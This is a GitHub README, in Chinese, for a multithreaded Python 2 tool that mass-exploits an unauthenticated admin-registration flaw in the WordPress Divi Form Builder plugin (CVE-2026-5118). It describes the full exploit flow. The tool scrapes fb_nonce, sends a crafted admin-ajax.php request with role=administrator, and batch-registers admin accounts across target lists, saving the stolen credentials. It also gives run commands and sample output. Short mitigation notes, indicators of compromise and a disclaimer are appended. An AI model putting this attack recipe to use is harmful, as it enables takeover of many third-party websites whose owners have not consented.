Jenderal92/CVE-2026-5118
GitHub: Jenderal92/CVE-2026-5118
针对 WordPress Divi 插件未授权管理员注册漏洞的多线程批量利用工具,可自动提取 nonce 并发送精心构造的注册请求进行漏洞验证。
Stars: 0 | Forks: 0
# Divi Form Builder <= 5.1.2 - 通过 'role' 进行未授权权限提升
## 概述
此 Python 2 脚本利用了 **Divi WordPress 插件**(及相关 Divi 表单)中的权限提升漏洞。它允许通过以下方式远程注册 **administrator** 账户:
- 从目标的 Divi 注册表单中提取 `fb_nonce`。
- 向 `/wp-admin/admin-ajax.php` 发送精心构造的 multipart 请求,包含 `role=administrator`。
- 自动检测是否成功并保存被攻破的管理员 URL。
## 功能
- ✅ **多线程**(默认 20 个线程),实现快速扫描。
- ✅ **自动 URL 规范化** – 如果缺失则自动添加 `https://`。
- ✅ **Nonce 提取**,使用多种正则表达式模式(内联 JavaScript、隐藏输入、`de_fb_obj`)。
- ✅ 模拟合法浏览器提交的 **Multipart/form-data** 请求。
- ✅ 通过响应关键词(`success`、`user_id`、`user created` 等)进行**成功检测**。
- ✅ 将**结果保存**到 `results.txt` 中,格式如下:
`https://target.com/wp-admin/ | username | password`
## 环境要求
- **Python 2.7**(使用 `urllib2`、`Queue`、`threading` – 未经修改无法兼容 Python 3)
- 目标 URL 列表(每行一个)
## 安装说明
```
git clone https://github.com/Jenderal92/CVE-2026-5118.git
cd CVE-2026-5118
chmod +x CVE-2026-5118.py
```
## 用法
### 1. 准备目标列表
创建一个文本文件,每行一个域名或 URL。您可以省略 `http://` / `https://` – 脚本默认会添加 `https://`。
**示例 `targets.txt`:**
```
example.com
https://vulnerable-site.com
http://127.0.0.1/wordpress
test-site.org
```
### 2. 运行 exploit
```
python CVE-2026-5118.py targets.txt
```
### 3. 输出示例
```
[*] Total targets : 4
[*] Credentials : Attacker / Attacker@123#+
[*] Threads : 20
[*] Output file : results.txt
[1] Checking https://example.com
[+] SUCCESS! https://example.com/wp-admin/
[2] Checking https://vulnerable-site.com
[+] SUCCESS! https://vulnerable-site.com/wp-admin/
[3] Checking http://192.168.1.100/wordpress
[3] FAILED http://192.168.1.100/wordpress
[4] Checking https://test-site.org
[4] FAILED https://test-site.org
=== DONE ===
Successful: 2 / 4
```
### 4. 结果文件 (`results.txt`)
```
https://example.com/wp-admin/|Attacker|Attacker@123#+
https://vulnerable-site.com/wp-admin/|Attacker|Attacker@123#+
```
## 配置
您可以自定义脚本顶部的以下变量:
| 变量 | 默认值 | 描述 |
|----------|---------|-------------|
| `DEFAULT_USERNAME` | `Attacker` | 要注册的用户名 |
| `DEFAULT_PASSWORD` | `Attacker@123#+` | 密码(包含特殊字符的强密码) |
| `DEFAULT_EMAIL` | `mail@admin.com` | 电子邮箱地址 |
| `THREAD_COUNT` | `20` | 并发线程数 |
| `OUTPUT_FILE` | `results.txt` | 用于保存成功目标的文件 |
## 工作原理
1. **规范化 URL** – 如果未提供协议,则添加 `https://`。
2. **提取 nonce** – 获取主页(或注册页面),并使用正则表达式模式搜索 `fb_nonce`。
3. **构建请求** – 构造一个包含以下内容的 `multipart/form-data` POST 请求:
- `action=de_fb_ajax_submit_ajax_handler`
- `fb_nonce=<提取的 nonce>`
- `role=administrator`
- `de_fb_user_login` / `user_login`
- `de_fb_user_pass` / `user_pass`
- `de_fb_user_email` / `user_email`
4. **发送至 admin-ajax.php** – 如果响应包含任何成功关键词,则将该目标标记为易受攻击。
5. **保存结果** – 将管理员 URL 和凭证写入输出文件。
## 检测与缓解
**对于使用 Divi 的 WordPress 管理员:**
- 将 Divi 及所有相关插件更新至最新版本。
- 如果不需要,请禁用公开注册。
- 使用安全插件(Wordfence、Sucuri)监控 `admin-ajax.php` 请求。
- 在所有注册表单上实施 reCAPTCHA。
- 切勿暴露带有可被篡改的 `role` 参数的注册表单。
**入侵指标 (IOCs):**
- 意外的 `admin-ajax.php` 请求,且包含 `action=de_fb_ajax_submit_ajax_handler`
- 具有可疑用户名(例如 `Attacker`)的新管理员用户
- 访问日志中的 POST 数据包含 `role=administrator`
## 法律免责声明
本软件仅供**教育目的**和**授权的安全测试**使用。作者对滥用本工具或由此造成的损害不承担任何责任。使用本软件即表示您同意:
- 在测试前获得系统所有者的**书面许可**。
- 遵守所有适用法律(CFAA、Computer Misuse Act、UU ITE 等)。
- 立即删除任何获得的未授权访问权限。
- 向受影响的供应商负责任地报告漏洞。
**违反这些条款可能会导致刑事起诉、罚款或监禁。**
## 贡献
欢迎提交 Pull Request 以进行改进(Python 3 移植、更好的 nonce 提取、额外的注册路径检测)。请保留道德免责声明。
标签:CISA项目, Python2, WordPress, 协议分析, 权限提升